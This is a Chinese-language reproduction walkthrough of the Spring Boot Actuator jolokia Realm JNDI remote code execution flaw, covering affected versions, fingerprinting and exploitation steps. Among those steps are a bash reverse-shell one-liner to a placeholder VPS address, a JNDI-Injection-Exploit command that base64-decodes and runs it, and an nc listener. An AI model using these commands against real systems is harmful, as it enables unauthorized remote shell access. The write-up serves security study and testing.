登录 白背景
源码

Spring Boot jolokia Realm JNDI远程代码执行漏洞

一、漏洞简介

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时，它会自动将多个端点注册到路由进程中。当配置jolokia/list接口，且访问jolokia/list接口存在type=MBeanFactory和createJNDIRealm关键字时，存在Spring jolokia Realm JNDI远程代码执行漏洞。

二、影响版本

  • Spring Boot < 1.5 默认未授权访问所有端点
  • Spring Boot >= 1.5 默认只允许访问/health和/info端点，但是此安全性通常被应用程序开发人员禁用

Spring Boot 1.x版本端点在根URL下注册。
image.png
Spring Boot 2.x版本端点移动到/actuator/路径。
image.png

三、系统特征

  1. 网站图片文件是一个绿色的树叶。

image.png

  1. 特有的报错信息。

image.png

  1. 存在/jolokia/list接口

image.png

四、漏洞复现

  1. 确认存在type=MBeanFactory和createJNDIRealm关键字时，存在Spring jolokia Realm JNDI远程代码执行漏洞

image.png
image.png

  1. 生成反弹shell命令
/bin/bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1
  1. 将上述反弹shell命令base64编码后替换到下述command字符处，vps处填写为vps ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,command}|{base64,-d}|{bash,-i}" -A "vps"
  1. 将JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上传到vps中运行上述命令

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
image.png

  1. 修改 expliot 中的 url 和 rmi 地址

exploit.py
image.png
image.png

  1. nc 监听端口
nc -lvvp 7777

image.png

  1. 执行exp收到反弹shell
python3 exploit.py

image.png
image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/asne342gkdk4cde8